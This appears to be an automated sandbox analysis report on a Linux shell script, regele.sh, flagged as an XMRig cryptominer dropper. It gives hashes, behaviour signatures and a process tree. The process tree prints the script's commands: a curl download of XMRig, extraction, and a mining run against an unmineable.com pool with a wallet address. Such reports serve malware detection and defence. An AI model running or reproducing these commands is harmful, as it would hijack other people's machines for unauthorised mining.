Overview

overview

10

Static

static

1

regele.sh

ubuntu-24.04-amd64

10

regele.sh

debian-12-armhf

10

regele.sh

debian-12-mipsel

10

regele.sh

debian-9-armhf

10

regele.sh

debian-9-mips

10

regele.sh

debian-9-mipsel

10

regele.sh

ubuntu-18.04-amd64

10

regele.sh

ubuntu-20.04-amd64

10

regele.sh

ubuntu-22.04-amd64

10

regele.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    8s
  • max time network
    23s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20240221-en
  • resource tags

    arch:armhfimage:debian12-armhf-20240221-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    10/04/2025, 04:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    regele.sh

  • Size

    630B

  • MD5

    4abbca2cbf6028e552f2076c039f5760

  • SHA1

    c29ce9227290d376e70d1ca1ec32e77b95f0c230

  • SHA256

    18233feed3f3933b85e713b8248f627c120085ed54059727f22524eee5e4ee05

  • SHA512

    5c3d4aba59c78c56c4d07b282e25f57482e94d1a5856e17823461397a7cab6b8ad5bc7f388eeb2249b2f104a1d00c0ef57ece35990120e77825d6a02c31debc4

Score
10/10
xmrigxmrig_linuxantivmdiscoveryminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/regele.sh
    /tmp/regele.sh
    1⤵
    • Executes dropped EXE
    PID:716
    • /usr/bin/curl
      curl -LO https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:731
    • /usr/bin/tar
      tar -xf xmrig-6.21.0-linux-x64.tar.gz
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:785
      • /usr/local/sbin/gzip
        gzip -d
        3⤵
          PID:787
        • /usr/local/bin/gzip
          gzip -d
          3⤵
            PID:787
          • /usr/sbin/gzip
            gzip -d
            3⤵
              PID:787
            • /usr/bin/gzip
              gzip -d
              3⤵
                PID:787
            • /tmp/xmrig-6.21.0/xmrig
              ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u "LTC:LhDEf9iRg9nvTXQXumgzaLJfh75LuZgfJM.unmineable_worker_zlsfjzbq#ps2x-7x9c" -p x
              2⤵
                PID:798
              • /usr/bin/sleep
                sleep 60
                2⤵
                  PID:801

              Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/xmrig-6.21.0-linux-x64.tar.gz
                Filesize

                3.4MB

                MD5

                9dce7e18281721dfcac5336501edf1f9

                SHA1

                ce0e66d903639e185b3e2700253eb49fa410122b

                SHA256

                7662ccbd97f0b579e9faf025b9872dc20759a791b572946aec247c12334e0d3f

                SHA512

                8d0621bc362b632951b5a067b4894523b15c07d5c1638bcf544be3fc2f1014f8612da02d20bedd4a209012cdbcd5dce90d18ddd92f38a299a1ac24eddae2ecbd

                Download Submit

              • /tmp/xmrig-6.21.0/SHA256SUMS
                Filesize

                150B

                MD5

                4b1be200fc3721e0b9823defce7f54c8

                SHA1

                fa39e968a868247912308fcfeb2d73240fa67602

                SHA256

                7d619ce59ab5ac3ce599499798f42c7a0c3b4b3814a99904dc26d9b7e0498ae8

                SHA512

                4467cf578d11decbdfc16d1f756d4e3362a34d5cd614b00bdfca75c7c24b371292cea853081dc6321e2b75fd3918dd4e2465c4b1af3086d1be230ecdc97dd7b6

                Download Submit

              • /tmp/xmrig-6.21.0/config.json
                Filesize

                2KB

                MD5

                66f38c96a4901e7b345787c447842b3e

                SHA1

                2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                SHA256

                2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                SHA512

                71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                Download Submit

              • /tmp/xmrig-6.21.0/xmrig
                Filesize

                8.5MB

                MD5

                86f2790c04ccd113a564cc074efbcdfd

                SHA1

                b1cbe9ae844c36b49ccedfa3036945dee2b3372b

                SHA256

                92dcc363ed05c5e4ae9008f7d0d41b1ad1ae9caead9d4f3598c566b185078b4b

                SHA512

                2cbe961abe4c2a3bf7f20968b7919a25f82ce0efa367eca390d847da35c4784a726bfec0405802471cca00da445764316a4d8101798cc5eba721f53a11e1223c

                Download Submit